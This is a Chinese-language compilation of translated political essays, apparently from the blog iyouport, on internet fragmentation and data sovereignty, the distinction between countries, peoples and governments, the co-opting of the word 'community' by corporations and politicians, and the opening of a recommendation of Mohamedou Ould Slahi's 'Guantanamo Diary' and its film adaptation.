> “我们都知道全球互联网的头号管理者是谁。而由于它的不稳定性，我们必须考虑如何确保我们的国家安全 …… 这不是要让俄罗斯与万维网断开联系，而是要保护它（俄罗斯）免受可能的外部影响。”

俄罗斯还在2015年实施了数据本地化存储标准，禁止俄罗斯公民数据出境。为此，俄罗斯似乎已经完成了替代域名系统（DNS）的工作，这将使俄罗斯政府能够限制访问 Facebook 和谷歌等外国网站和网络服务。

- 重要内容《所有信息都是战略性的：信息地缘政治》

与中国类似，俄罗斯也创造了一个繁荣的国内网络产业。VKontakte 是俄罗斯和俄语区哈萨克斯坦、白罗斯和乌克兰最受欢迎的社交媒体平台。

- 《全球互联网之战才刚刚开始》

3、欧洲

「图」

网络巴尔干化的趋势不仅在美国的竞争对手国中出现。

斯诺登文件揭示了美国对其西方盟友的间谍活动，这些美国的盟国开始维护自己的信息主权。

欧洲没有创建自己的社交媒体公司，而是通过法律诉讼和罚款的方式，对美国网络服务巨头施加压力，从而获得对公民数据的控制权。

- 可惜罚款无法解决问题《讽刺性依赖》

著名的《通用数据保护条例》（GDPR）规定，欧盟公民的数据必须存储在位于欧盟境内的服务器上。

随着美国威胁要以反北约的言论重新划定全球地缘政治边界，网络世界开始反映实体世界的政治和国家轮廓。

2018年德国一项被当地人称为 NetzDG 的立法，📌 完美地诠释了网络巴尔干化的双重后果 —— 防御外国间谍、和促进国内审查。

该法案允许德国对 Facebook、Google 和 Twitter 等互联网巨头最高罚款5000万欧元，如果它们未能在24小时内删除平台上的所谓非法内容的话。正如任何民主捍卫者所预期的那样，“非法” 的定义越来越武断，很容易对言论自由进行缓慢但不可避免的扼杀。

- 《反审查：击退“七骑士”之一》

今年，欧盟法院（CJEU）的 Schrems II 判决将重塑国家安全与全球数据流动之间的关系。

通过宣布欧盟-美国隐私盾协议无效，该判决结束了二十年来跨大西洋的数据交换。法院认为，美国的监控行为是不相称的，侵犯了欧盟公民的基本权利，欧盟公民没有有效的法律手段来挑战美国的权力滥用行为。

这是一个很大的举动，欧洲看到了不论谁当选，短期内都无法改变这种状况。对此的详细分析参见👇 —— 很重要！

- 《跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话》
- 更完整的分析《从斯诺登到中国 ...》

网络巴尔干化世界的风险

「图」

我们可以如何想象一个网络巴尔干化的未来吗，在这个未来中，全球网络空间公域被国家和地缘政治界限切割而变得支离破碎？

📌 各个国家将继续建立国内互联网产业，将所有流量的路由和所有用户数据存储在其内部。这将加剧数据孤岛效应，限制信息跨境流动，并使网络服务无法从境外使用。正如中国所证明的那样，这些努力可能会成功地维护数据主权，但是，却要付出大规模审查的专制主义恶化之代价。

对互联网流量的审查将通过由集中化管理的防火墙来实现，这些防火墙扼杀和阻止访问外国网站。科技巨头对国家政府议程的遵从将促进这种审查制度，消除对任何颠覆性材料的访问，压制异议的声音，压制在线自由表达。西方民主国家在努力维持对民众的控制时，将变得越来越像专制国家。

> 从根本上说，网络巴尔干化将是国家政权对个人的自由表达、获得信息的自由、以及不受侵入性监视的权利的全面剥夺。

各国将通过在国内制造路由器和手机等设备，追求网络和通信硬件的完全独立。将制定新的国内电信标准，在国际不兼容的蜂窝和WiFi频率上运行。

所有这些措施都将达到双重目的，即：在防御敌方间谍后门的同时，为友方间谍后门提供便利。

📌 硬件和基础设施的网络巴尔干化将由思科和华为等制造业巨头推动，它们从政府授权的合同中获得巨大利润，生产符合这些独特国家标准的设备。

- 详见《华为之战的虚伪：技术的巴尔干化》

网络巴尔干化预示着在位的美国超级大国与崛起的中国准帝国之间为争夺全球霸主地位而进行的斗争。这两个超级大国仍然是新的网络巴尔干化世界的最大派别，即 高堡奇人，它们将把经济和文化上的附庸国招入它们的网络围墙花园。

中国将试图继续寻求经济上的世界主导地位，扩大其网络势力范围，将非洲国家和“一带一路”倡议的受益者纳入其中。俄罗斯将试图笼罩所有俄语国家和前苏联国家。五眼情报合作者英国、澳大利亚、新

西兰和加拿大将继续作为美国互联网裂变中的支柱国家。

所有其他无法维持自己独立的互联网生态系统的国家，除非被纳入主要超级大国的网络领域，否则将继续在美国的控制之下。

网络巴尔干化将对在多个国际管辖区经营的企业产生破坏性影响，因为这些企业依赖无缝的在线连接。网络服务、通信标准和硬件设备之间的不兼容性对于需要协调多个国际办事处的企业来说只会加大摩擦和障碍。

跨国公司因这种摩擦而利润下降，在贸易孤立主义激化的时候，可能会产生减少全球经济自由贸易的连锁反应。这些跨国公司和企业将在股东利益和利润减少的威胁的驱使下，推动对解决网络巴尔干化问题的需求。

正如过去两个世纪的特点是争夺石油控制权的战争一样，人类的未来也将由争夺数据控制权的网络战争所决定。

📌 网络巴尔干化与同样具有分裂性的社会转变同时发生，这些转变包括全球范围内的民族主义升级、全球经济不平等迅速加剧、西方的政治两极分化、以及即将到来的工业自动化海啸，这将引发被视为多余的旧世界职业的大规模丧失。

不受阻碍的网络巴尔干化有可能使自互联网和网络诞生以来几十年所取得的繁荣成果付之东流，促成当代人所看不到的国家间冲突的出现。

分权和对自由未来的希望

「图」

由于自由信息交流与民族国家的议程根本上不兼容，因此阻止全球走向网络巴尔干化的趋势似乎是不可能的。

解决这个分裂的未来的办法是一个全新的互联网传输协议和网络服务生态系统。这些平台必须从头开始建立，做到中立、无国籍、去中心化和开源。

📌 只有通过去中心化，互联网传输和数据存储才能抵御第三方对用户数据的所有权所固有的外部操纵和审查。

如果仅仅用中国或欧洲的互联网取代美国的互联网，那将只是把问题

转移到不同的地缘政治势力范围内而已 —— 这就是为什么我们在不断提醒："红色药丸还是蓝色药丸"，你不应该接受这样无耻的问题；把高堡奇人变成三国演义，并不是解决方案。

- 推荐《"公民需要组织起来以摆脱中美高堡奇人的世界"》

新的互联网必须建立在点对点数据复制结构的基础上，这样才能避免集中化服务器及其相关的脆弱性。它必须能够在数百万个节点之间就这些数据结构的状态达成共识。

这个新的互联网上的流量必须加密，以击败拦截流量和监控的企图，但又必须足够快，以无缝地取代目前的互联网协议。最后，必须在经济上激励全球数字公民通过在点对点市场上提供和消费带宽、存储和使用来建立这个新互联网。

面对不可避免的网络巴尔干化，这些仅仅是保持开放的全球通信所必需的几个特征，网络巴尔干化预示着民族主义的孤立、不信任和最终的公开冲突。

因此，建立一个新的互联网是一项紧迫和及时的任务，自由世界的希望就寄托于此。〇

上图中这本书在这里下载：*https://www.patreon.com/posts/zai-zhong-mei-de-40490501*

https://en.wikipedia.org/wiki/ARPANET

https://en.wikipedia.org/wiki/balkanization

https://theintercept.com/2018/06/25/att-Internet-nsa-spy-hubs/

https://theintercept.com/document/2016/11/16/blarney-program-overview/

https://theintercept.com/2018/06/25/att-Internet-nsa-spy-hubs/

http://www.pnas.org/content/112/33/E4512

https://www.nytimes.com/2017/07/12/business/apple-china-data-center-cybersecurity.html

https://www.rt.com/politics/411156-russia-to-launch-independent-

Internet/

http://nymag.com/selectall/2018/07/russia-dns-alternative-Internet-could-yield-cyberattack.html

https://www.bmjv.de/SharedDocs/Gesetzgebungsverfahren/Dokumente/NetzDG_engl.pdf

https://www.computing.co.uk/ctg/news/3036546/decentralising-the-web-the-key-takeaways

https://medium.com/skycoin/cyberbalkanization-and-the-future-of-the-internets-f03f2b590c39

○□

原文

真的有国家这个 "东西" 吗？ - iyouport

社会反抗和思考

人们生活在国家里，被政府统治着。重要的是，要保持这三个要素的不同和清晰 - - 人民、国家、政府，这样我们就可以防止无情的类别错误，这些错误混淆了公众对国际事务的讨论。

国家是存在的。它们是地图上有政治身份和边界的地域，人或事物可以生活在其中，从这里来，或去那里。

但 “国家” 并不只是这样。

首先，最明显的是，国家只是一种社会建构。它们是集体产生的虚构（像金钱或宗教），而不是身外之物（像石头）。虚构并不意味着国家不重要，但它确实意味着，只要有足够多的人同意，“国家” 就会存在，好像它们真的存在那样。

第二，而且更重要的是，国家是地点，而不是组织。

组织是像军队或公司这样的东西，将人类个体组成的群体转化为一个协调的和强大的行为者。与国家不同的是，组织是一种集体产生的虚构，它可以实际做事，通常是非常重要的事。我们所说的政府是一种特殊的组织，它已经取得了对一个 “国家” 的居民制定和执行规则的权力，例如，通过伤害那些坚持反对意见的人和阻止外来者进入。(在马克斯·韦伯的著名定义中：它 “成功地声称垄断了合法使用暴力的权利”）。这种权力被称为主权，它是政府而不是国家的属性。

一个常见的错误是将一个国家及其居民与政府混为一谈。这导致的最好的情况是严格意义上的无意义，而最坏的情况是深深的误导，就像 ‘Green ideas sleep furiously’ 这样的语义错误。

【注：诺姆·乔姆斯基（Noam Chomsky）在其1957年出版的《句法结构》（Syntactic Structures）一书中撰写的一句话是无色绿色的想法 “疯狂地睡着了”，它是一个语法良好但语义上毫无意义的句子。这

个句子最初是在他1955年的论文《语言理论的逻辑结构》和1956年的论文《语言描述的三种模式》中使用的。】

有时，错误在于将政府的行动与“国家”的行动混为一谈了，比如说“俄罗斯入侵了乌克兰”，这就是一个错误的说法。 国家之间无法相互入侵。入侵是为追求某种目标而采取的行动，而国家缺乏这两种能力。更准确的说法是，统治俄罗斯的组织目前正在挑战统治乌克兰的组织的主权（许多乌克兰人更愿意保持他们拥有的组织）。如果我们不把这个问题搞清楚，最终只会愚蠢地把乌克兰现在发生的灾难性事件归咎于那些碰巧来自俄罗斯的人（如大学生）或仅仅与俄罗斯有关的东西（如伏特加品牌）。这不仅无法触及解决问题的真正原因（由弗拉基米尔·普京控制的组织），而且还会增加很多不必要的伤害（如在战争期间错误地拘留平民的做法）。

这种类别错误是根深蒂固的。例如，现代国家/人口经常被指责为历史上的不公正行为，如殖民主义。显然，将一个地方或现在恰好生活在那里的人归咎于早已消亡的政府的邪恶行为是毫无意义的。然而，人类似乎有一种内在的驱动力来分配责任，这种驱动力与事件的可怕性成正比，使我们不愿意接受“没有人和事可以合理地承担责任”这样的事实。不幸的是，哲学家们也不能幸免于此，他们中的一些人花了很大力气为当前的居民（往往是富国的居民）制定复杂的论证。有时这只是在浪费时间。有时，这可能是一种危险的分心，使人们无法就需要解决的真正问题达成共识，例如围绕气候变化。

- 如果您错过了《超越民族国家：是时候结束“主权国家”的神话了》

有时，错误会反着发生—— 非政府团体的行动与政府/国家的行动被混淆了。 例如，太多的人认为国家之间真的有贸易往来，而事实上真正发生的是各种人和商业组织跨越政治边界的贸易往来。说“英国”和“意大利”之间的贸易比说“伦敦”和“曼彻斯特”之间的贸易更没有意义。同样，国际贸易确实是在相关政府制定的（通常是嫉妒性的）监督和规则下进行的，但这并不意味着这些政府本身就是在相互“贸易”。许多关于全球不公正的言论都是基于这样的误解：强国利用其垄断权力，以不公平的低价从穷国榨取廉价的资源和商品，让穷国无法拒绝。但是，只要公司能够自由竞争，争取最好的交易，报酬将反映平均经济生产力，而不是两个“国家”的相对讨价还价能力。

因此，重要的是要注意，一个国家的居民并不是统一的。我们经常谈论国家，好像它们是一种统一的有机体，但事实上并非如此。一个国家的居民可能有许多共同点（利益、语言、价值观、统治者、历史等

等），其中一些人甚至是统治组织的成员，但这并不意味着他们是一个生物的一部分。唯一能实现这种统一的生物是一个组织，而人民不是一个组织（除了在极权主义的政治幻想中），即使它是，这种统一的代价也是在等级制度下的个体归属。因此，不存在“人民的一般意愿”，因为这句话所暗示的统一实体不可能存在。如果你想知道一个国家的居民想要什么，除了进行社会选择，别无他法。你必须问他们—— 让他们有机会互相讨论他们关心的问题—— 然后找到一些公平的方式来代表这些兴趣，这些兴趣是根据他们对不同人的相对重要性来衡量的。

即使在最好的情况下，这种社会选择的练习也是很棘手的，这就是为什么民主对许多人来说感觉如此不满意。如果执政组织不愿意让他们的人民自由地相互交谈，并由此发现彼此想要的东西，选择权就会完全被阻挡。因此，当这些政府声称是为了他们的“人民的利益”，或他们在地图上的位置而行动时，我们应该表示怀疑。特别是如果他们的行动，如俄罗斯政府的行动，显然违背了许多一般的实际利益（如对安全和繁荣经济等公共产品的利益），而这些利益是各地的人类都会需求的，无论人们碰巧住在哪里。

政府经常声称代表他们所统治的国家和居民，而这往往被作为其合法性的证据；但是，除了民主之外，没有任何合理的方式可以建立这样的代表关系（即使代议制民主仍然有问题）。实际上，当一个非民主政府声称代表其人民时，它只是在要求其他政府承认其对暴力的地方垄断。作为一个实际问题，尊重这样一个政府的权力，反对干涉其统治人民的方式，可能是谨慎的做法。但是，我们不应该把这种迁就误认为是接受这些政府声称代表除其自身利益之外的任何东西的可信性。正如我们很容易想象到一个公司的利益与它所经营的许多人的利益之间存在差距一样，我们也应该不难理解，政府的利益与它们所统治的人民的利益之间也存在差距。

那么，政府的利益是什么？从某种意义上说就是：生存、并为其成员的利益服务，与他们的相对权力相称。在道格拉斯·诺斯和他的合著者所称的“自然国家”中，政府只是强大的精英们的联盟，他们达成了一个互利的安排，从他们的权力下的人口中持续提取财富。在某些情况下，这种联盟随着时间的推移被少数人或一个人所控制，在这种情况下，他们的利益将占上风，他们的特殊想法将有更多的空间来决定行动（尽管仍然受制于他们对政府的统治以及政府对领土和人口的统治的首要关注）。世界上只有少数社会是由公开的政治竞争和公正的法律机构管理的，在这些社会中，政府的利益可以说是取决于履行他们自己的承诺或相当一部分居民的明确偏好。

人们生活在国家里，被政府统治着。重要的是，要保持这三个要素的不同和清晰 —— 人民、国家、政府，这样我们就可以防止无情的类别错误，这些错误混淆了公众对国际事务的讨论。例如，有影响力的现实主义观点是建立在国家只为其国家利益行事（或应该如此）的假设上。这种说法基于两个类别错误：国家（而不是政府）采取行动，以及存在“国家利益”这种东西。这往往会产生关于缓冲区和获取资源的无法证伪的胡扯，但由于潜在的混乱，它听起来不错，仍然可以被兜售。特别是，我们应该更多地相信实际的人，而不是那些仅仅因为有权力伤害人们而自称是人们的合法代表的组织。在这个世界上有许多暴政政府，其领导人可能会宣布他们是以他们所统治的人口和领土的名义行事，但他们仍然是应该承担责任的人，是应该被追究责任的人。〇

There Is No Such Thing As Countries

原文

社区应该是什么？是谁在玩坏这个概念？ - iyouport

社会反抗和思考

【2020年3月4日存档】政治宣传和商业宣传是同一种东西；它们都会通过刺激你的情绪，令你心甘情愿地去满足他们的利益 —— 通常是以放弃你自己的利益为代价的

今天，社区已经变成了一个热门的流行语。和所有其他流行语一样，它们代表的仅仅是被玩坏的东西。

在市场宣传中，就像在政治言论中一样，这个词无处不在：绿色新政和扎克伯格2017年的所谓“建立全球社区”，都反复使用“社区”这个词（分别是26次和108次），但你必须知道，在这种语境下，使用“用户群”、“邻里”、或“群组”，就已经足够了。

但是，他们依旧要强加 “社区” 的概念。这是因为在这种情况下，“社区” 的概念能表现为无懈可击的善举：需要被认可的、最大化的和受保护的事物。

社区被认为是一件快乐的事，各组成部分彼此同意，因为他们或多或少是具有相同价值观的同一类人。

它们代表了社会关系中的“金发姑娘原则”：不是太没人情味、也不是太个人主义 —— 恰到好处。

人们认为，社区是重要工作的合适规模，而不是没有责任心的个人或不露面的官僚机构；并且，社区始终为自己的成员的最大利益而行动。

⚠由此来，该隐喻就会被盗用和污染，为国家和寡头公司等宏观社会结构的利益提供方便的掩盖。并且造成人们更广泛地对社区实际运作方式的误解。

如果你相信全球品牌或国家是“社区”，就可以认为社区是可以注册的服务

「图」

社区的概念直接与社会联系在一起，这两个具有独特特征的社会单元，而不是完全分开的，代表了一系列人类互动的类型。

社会关系包括维护大规模文明所需的复杂设备。

百货公司的业务员、国会代表、以及可帮助您建立所选的社交媒体平台的编码员：这些人都与您有社会关系；

相比之下，社区是成员彼此分享的自主性的、基于共同价值观和信念的纽带。

正是这种深厚的联系使得无需复杂的会计系统（金钱）就可以实现互助。

邻居会借给你一杯酱油，但是杂货店不会，你不给钱的话什么也拿不走。

社会是市场、公司、制度化宗教、和民族国家等力量所必需的唯物主义关系。另一方面，社区是依靠情感关系连接的、是提供团结感和归属感的社交纽带。

Facebook 等平台试图利用的正是这种情感元素。

20世纪主要是考虑到现代化从“社区”向“社会”的推动，而这个年轻的世纪已经尝试了多种方法来调和两者：在复杂的社会中感受到一点社区感。

“社区” 唤起了真正的人际关系，或者至少在渴望那些有效联系的社会中存在着这种可能性。

由于大多数后期资本主义市场实体的根本目标是满足贪欲（通常是他们自己创造的贪欲），因此，公司和政府官员会窃取 “社区” 的概念，以吸引消费者和选民。

正如娜奥米·克莱因（Naomi Klein）在她的《No Logo》一书中首次概述的那样，至少从90年代初开始，企业就致力于努力销售无形的归属感 —— 它可以比优质产品获得更多的利润。

- 《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》

这具有降低成本（营销成本相对较低）和通过为品牌吸引力收取溢价来提高价格的双重好处。

从耐克（Nike）到星巴克（Starbucks）的几乎使用你知道的品牌，都旨在代表一种已有的社会关系，人们可以通过购买产品来获得这种“关系感”。

这种社区社团的**想象**是品牌忠诚度的强大力量，这就是为什么科技公司希望在所有级别的客户体验中运用这种感觉的原因。

从1984年的 Apple 到2001年的 iPod 的发明，几乎每一个 Apple 广告中，电脑和配件都是“个人创意天才”的必要最终要素；但是，随着苹果公司大量转向销售用于消费媒体的手持设备，他们也开始倾向于“拥有自己的产品成为社区一部分”的想法：

iPhone 广告几乎完全没有提到技术，而是选择在设备捕获或传播体验时展现出那种凄美而亲密的时刻。

正如90年代的星巴克所展示的那样，包容性可以证明加价的理由；苹果公司将其旗舰店称为“城镇广场”—— 要知道，这些地方是可以作为举办活动的场所，而不仅仅是产品的货架。

他们的 App Store 将从 TikTok 到女同性恋约会应用程序 Her 的所有内容捆绑到名为“查找您的社区”的列表中。

在最近有关防止平台上网络欺凌问题的新工具的新闻稿中，**Instagram** 的发言听起来就像是一位关心中学生的校长：“我们从社区中的年轻人那里听说，他们不愿意阻止、取消关注或举报欺凌行为，因为这可能会加剧紧张局势，尤其是当他们与现实生活中的霸凌互动存在时……”

Amazon Ring 的监视器工具 Neighbors 应用程序呼吁用户“可以共同创建更强大的社区”，该应用程序允许用户接收和共享警察警报、以及可疑犯罪活动的报告，并且已经充分暴露了其种族主义特征的高度敏感性。

- 《亚马逊帮助警方构建了一个广泛的监控网络》

⚠要运用“社区”隐喻，需要三个步骤：# 在目标人群中激发不适或

恐惧，只因为他们还不是社区成员；

- 向他们展示利益和归属条款；
- 最后，在概述允许他们停留的规则的同时为他们提供一个席位。

1. 社交媒体寡头的算法专制是什么东西《非物质劳动和数据收集：Facebook 的算法工厂 (第1部)—— 关于数字极权是如何剥削你的》

- 《人类数据库和算法劳工：Facebook 的算法工厂 (第2部)——关于数字极权是如何折腾你的》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《硅谷巨头如何利用算法操纵墨西哥选举？》
- 《你正在如何被操纵：这是每个人都难以躲避的无形专制—视频系列》
- 《看不见的独裁》
- 《无形的极权主义》

1. 《*国家*的危险神话》

⚠爱国演讲和产品发布会中描述的基于价值的情感关系，是同一种东西，它只是使社会关系、交易关系听起来比实际意义更有意义 ……

可以将无定形的“社区”概念化为某种社会之外的事物

「图」

分层的政治实体，例如国家政党和宣传团体，与公司的工作模式非常类似，都是声称自己是有组织的、经过提炼的、和媒体就绪的社区制度联合体。

他们还将这种构造投射到其他群体上。

在新千年中，20世纪美国和欧洲援助机构的乐观和傲慢态度已经让位于国际发展的更协作性形式。

在2001年发表的《人类参与：新暴政》的一章中，国际发展专家乌玛·科塔里（Uma Kothari）对国际援助的 “参与式发展” 方法提出了批评，来自富裕国家的援助工作者出现在贫穷国家的偏远地区 —— 也

许是在一场严重的灾难之后，也许是为了进行更全面的重组 —— 并询问了 “社区” 他们需要什么。

批评指出，在与当地人的交流中，“大多数人的日常生活的复杂性和混乱性被过滤掉了”，而 **局外人** 则提炼出社区运作方式的理想化版本。

简单说：⚠局外人将当地社区视为了一个整体，而没有考虑到权力动态和内部竞争利益。

不用说，这些项目最终都以失败告终。

⚠这就是为什么我们一直要强调，依靠所谓的外援实现援助甚至变革的想法，真的不切实际。任何改变都需要本土自己的努力 —— 没有任何人比你更懂你的社会和社会关系。

仅仅因为一个国家受到国际资本主义积累的破坏，并不意味着这是唯一正在发挥作用的社会政治失衡。

矛盾的是，所有社区都以相同的方式呈现出各自的独特性：它们是相互重叠的、长期存在的紧张关系和同盟的场所，无法简化为单一名称或总体机构。

这种不可简化性意味着社群框架注定要比其说明的要模糊得多。

充其量，“社区” 对话只是让有权势的人回避了棘手的话题：“绿色新政”决议实际上完全避免了提及种族主义和父权制，而是列举了一些抽象的社区：“土著社区、有色人种社区、移民社区、去工业化社区、人口稀少的农村社区，贫穷社区、低收入工人、妇女、老年人、无家可归者、残疾人、和青年（在序言中被称为“第一线脆弱社区”）。”

通过这种方式，它避免了直面导致人们面临的真正问题的权力结构。

⚠就如在中国你经常看到的那样，新闻人、农民工、流民、中产阶级、学生 …… 抽象”社区”永远也解决不完的问题；但如果这些社区联合起来，大概所有人都能有所希望。为什么不呢？

阿道夫·里德（Adolph Reed Jr.）在1996年发表的一篇预言性文章中，谴责了政治中对“黑人社区”的不断提及，部分原因是：提及单一的看似有凝聚力的社区意味着存在无可争议的领导职位。这不是事实。

他写道，所谓的黑人社区的形象为 “白人精英承认、并与仅仅名义上且最终无法解释的‘种族领袖’进行谈判，创造了机会。”

⚠这样一来，富人和有权势的人，就可以选择那些“忠实的”反对者，并切割已经被边缘化的人群。

最近的一个例子是“人权运动 Human Rights Campaign”，该运动将注意力和资源转移到主要是富裕的白人男性同性恋者的利益和结婚权上，以牺牲和反对 LGBTQ 运动中更多被边缘派别的抗议为代价。

Twitter 的“信任与安全委员会”由来自“社区团体”的成员组成，而他们本身就是极具竞争性的代表。

例如，反诽谤联盟经常将对以色列的批评归类为 “反犹主义”，这一立场至少与大多数年轻的美国犹太人相去甚远。

社交媒体公司声称自己是 “社区的领导者”，尽管这些监视资本家的利益从来都与用户的利益截然相反

「图」

并且，每次调用 “社区” 概念的背后都隐含着对该组织内部权力结构的默许，无论是保守派教会、霸道父母、还是反动邻居。

并且，提及社区的 “目标”、“文化”、或任何其他特征，意味着不必再处理其内部冲突、毒性、个体之间的压迫或胁迫动态。

反过来，无定形的社区可以被概念化为某种形式游离于社会之外，或自然地与之对立，或纯粹地对它有益，这完全取决于宣布该“社区”存在的实体的意图。

社区意味着超越政治的条件，即 集体自动分享价值、并就如何实现价值达成共识；实际上，社区真正需要的恰恰是解决这些分歧的过程和能力。

社交媒体公司试图将社区的面纱包裹在先前存在的权力体系中。

这提供了某种修辞掩盖、针对实际危机的轻描淡写的回应 —— “嗨，我知道 Facebook 上有很多纳粹分子，但是我们是一个社区，所以我们必须共同努力！” —— 同时，这也使公司领导者在面向平台用户讲话时具有了某种虚构的合法性。

即使这些监视资本家的利益总是与用户的利益截然相反，他们也仍然可以声称自己是 “社区的领导者”。

这个意淫出来的社区宣称最荒谬的版本是 Reddit，用户几乎普遍将站点的不同部分称为 “subreddits”，而公司本身则坚持称其为“社区”。

网站行为与社区行为最不相称的部分正是由网站向潜在的新用户和广告商推广的部分，而那些确实对世界具有统一的愿景并有严格的参与规则的人通常被“隔离”，表示他们需要经过电子邮件验证的才能参与，他们被拒绝在所谓的令人反感的内容的免责声明背后，并且未包含在 Reddit 的首页上。

使社区如此具有吸引力的情感纽带，甚至是人类繁荣所必需的情感纽带，已轻松地被转移到了社交媒体平台上 —— 部分是因为可以在此处找到您的朋友、家人和邻居，而且，还因为点赞、评论、转推和声誉促进，都是增强这种归属感的机制。

当您只在1000人的小组讨论中听到笑话时，或在一个私密的社交媒体小组中感到被理解时，就会产生包容感；然而，平台就可以利用“社区”的概念来支撑其品牌，使它们成为有意义的联系发生的地方，社区时刻……

Reddit 证明公司不希望有实际的社区，“社区”会为参与设置条件，以及几乎可以肯定会给其他所有人带来麻烦的一组规则或事实。

社交媒体依靠快速的入门、易于理解的规则、和“欢迎”内容来根据风险资本的需求进行扩展。也许更重要的是，它表明社区不是我们所认为的纯粹的商品。

当你能找到适合自己的东西时，你会感到非常高兴，但这肯定不是可以通过算法建议可靠地传递给每个人的。

正如 Reed 所说：“对培养和保护谈判领域的关注越少，平衡就越多地转向胁迫。社区的修辞使前者不耐烦，其逼真的虚构使后者合理化。”

也许我们现在需要的不是更多的社区，而是一个更加公正的社会。社交媒体使 “社区” 的构建变得更容易，但那根本不是什么社区。〇

原文

第二次反恐恐怖战争来了，人们有必要观看这部新电影和这本书 - iyouport

免费书和纪录片社会反抗和思考

他们永远也不会感受到你的痛苦

在中国流行的美剧《Berlin Station》中有一段对白，被派遣到黑点监狱做审讯官的 Hector DeJean 疲惫不堪，按照规定，他的任务就是不断地施加酷刑，但他得不到任何可能给被拘押者定罪的口供。在休息室里他问自己的同事：“[被带到这里的这些人] 他们真的有罪吗？”，他的同事、另一个审判官说；“他们来这之前还没有，来了就有了”。

本文推荐的是一本重要的书、一部电影，以及一个重要的采访录像；如果您的国家也有 “反恐战争” 和/或 “反恐法”，非常建议您阅读和观看这些资料。最好不要假设您的政府能比美国政府 “做得更好”。

> 关于当权者，只有一件事可说，那就是，他们永远也不会感受到你的痛苦 —— 斯拉希

穆罕默德·斯拉希是一个非同寻常的人，他有一段痛苦的过去，有一个非凡的、仍在不断发展的故事。Glenn Greenwald 对他进行了采访，可以在文末看到采访视频，非常推荐您观看这次采访录像。他有很多话要讲，全世界都应该听到这些话，而且，随着新一轮的反恐战争正在开启，他的故事现在特别及时。

斯拉希是畅销书《关塔那摩日记》的作者，这是他在关塔那摩监狱营地被关押的14年期间写成的回忆录，他现在是一部关于他生活的新故事片《毛里塔尼亚人》中的主要人物。斯拉希被监禁的前八年包括在四个不同的国家遭受多种形式的虐待，并与与世隔绝，但却没有得到任何审判或反驳的机会，甚至不了解对他的指控究竟是什么。

您可以在这里下载《关塔那摩日记》，在下面观看这部故事片的预告片，这部影片据说在中国也很流行，也许因为有一大堆好莱坞明星？希望不是仅仅因为这个理由而流行。

该片由朱迪·福斯特、本尼迪克特·康伯巴奇和谢琳·伍德蕾主演，而斯拉希的角色则由法国裔阿尔及利亚演员塔哈尔·拉希姆扮演。福斯特今年因饰演南希·霍兰德（Nancy Hollander）而获得金球奖，霍兰德是斯拉希的律师，多年来一直免费为他争取权利，只为让法院评估美国政府认为有理由对他进行无正当程序的无限期监禁的证据。康伯巴奇扮演斯拉希的军事检察官，他的朋友在911事件中死亡。

斯拉希的故事本身就很吸引人，但随着第二次反恐战争的迫近，现在重新阅读这个故事，更具有现实意义。

无论你对9–11之后的反恐战争有任何看法 —— 从“为了赢得这场对抗前所未有的邪恶和生存威胁的战争，有必要摘掉手套，摒弃一切限制”到“美国严重反应过度，反映了它所声称的战斗的最恶劣的滥用行为”到两者之间的一切内容 —— 都无可争议的是，政府被赋予了无限的权力，可以在世界上任何地方监禁、监控、监视、绑架和杀害任何它想要的人，而且没有任何制约。就像大多数以某种紧急状况为名赋予国家的强大权力一样，这些权力被声称是暂时的，但是在近20年后，没有任何迹象表明会消失。它们现在已经嵌入到政治生活中的方方面面。

发生在斯拉希身上的事，生动地体现了人类在没有保障或限制的情况下行使权力时不可避免地会滥用权力。2001年11月，斯拉希与他的母亲和其他亲戚在他的家乡毛里塔尼亚参加了一个聚会，这个与美国结盟的西北非洲国家多年来一直受到独裁统治和军事政变的困扰。警察来到这里，告诉斯拉希他们需要对他进行问询。而这就是他最后一次见到他的母亲。

在对他与伊斯兰激进分子的关系进行了两周的紧张审讯后，斯拉希被戴着铁链和脚镣飞往约旦，这个由美国控制的石油君主国，他从来没有去过那里，也与那里没有任何关系。在接下来的八个月里，他每天都被约旦和美国特工，包括中情局特工轮番审讯。当他们的中情局上司认为他不愿意提供信息时，约旦人经常使用经典的酷刑手段对他逼供。八个月后，约旦人得出结论，他没有与任何极端主义组织有联系，也没有更多的信息可以提供，但是美国人仍然不以为然。

他被告知将返回毛里塔尼亚，但很快就意识到这是一个谎言，因为他再次被戴上了全身的镣铐、铁链和连体服。这一次，他被送往位于阿富汗巴格拉姆的臭名昭著的美国军事基地，这里有成千上万被布什和奥巴马政府无限期拘留的囚犯，没有任何指控或人权保护。经过两个星期的残酷的连日审讯，斯拉希被告知他将被带到关塔那摩的美国军事基地。

由于这个监狱营是在斯拉希第一次在毛里塔尼亚被拘留后才开放的，他当时不知道关塔那摩是什么地方。但是，他告诉记者，他听到自己会被带到美国，他非常高兴和欣慰，因为“美国是你能够获得合法权利的地方，有一个正常运作的法院系统。”听到这个消息后，他认为目前为止几乎已经持续了一年的噩梦，即将结束。但是，事实上，噩梦才刚刚开始，而且即将变得比他想象的要黑暗得多。

斯拉希被空运到加勒比海中部的这个浮岛监狱，离他的家有几千英里远，虽然是在美国军事基地的美国拘留所，但他所在的地方被美国政府宣布为根本不属于美国。这是一个无人区，除了美国政治领导人不受约束的意愿之外，没有任何法律或权威性。布什政府—— 在当时的副总统迪克·切尼、国防部长唐纳德·拉姆斯菲尔德及其副手保罗·沃尔福威茨、国家安全顾问康多莉扎·赖斯和司法部长约翰·阿什克罗夫特的指导下，授权使用多种形式的酷刑，美国媒体委婉地称之为“强化审讯技术”。

没有争议，因为政府的官方文件承认，斯拉希和其他几十人一起，一次又一次地被施以这些手段。其中包括长期剥夺睡眠、殴打和压力姿势、模拟处决，以及性侮辱和攻击。

关于压力姿势是什么，见下图：

当斯拉希到达这个监狱营时，他讲阿拉伯语、德语和法语，然后很快从其他俘虏和审讯者那里学会了英语。他的“关塔那摩日记”是用英语撰写的书。这本书于**2005**年完成，但被关塔那摩的看守夺走了，直到十年后才被允许出版，成为全球畅销书，而此时斯拉希仍被关在笼子里，没有被定罪，也不知道何时能获释（如果有的话）。

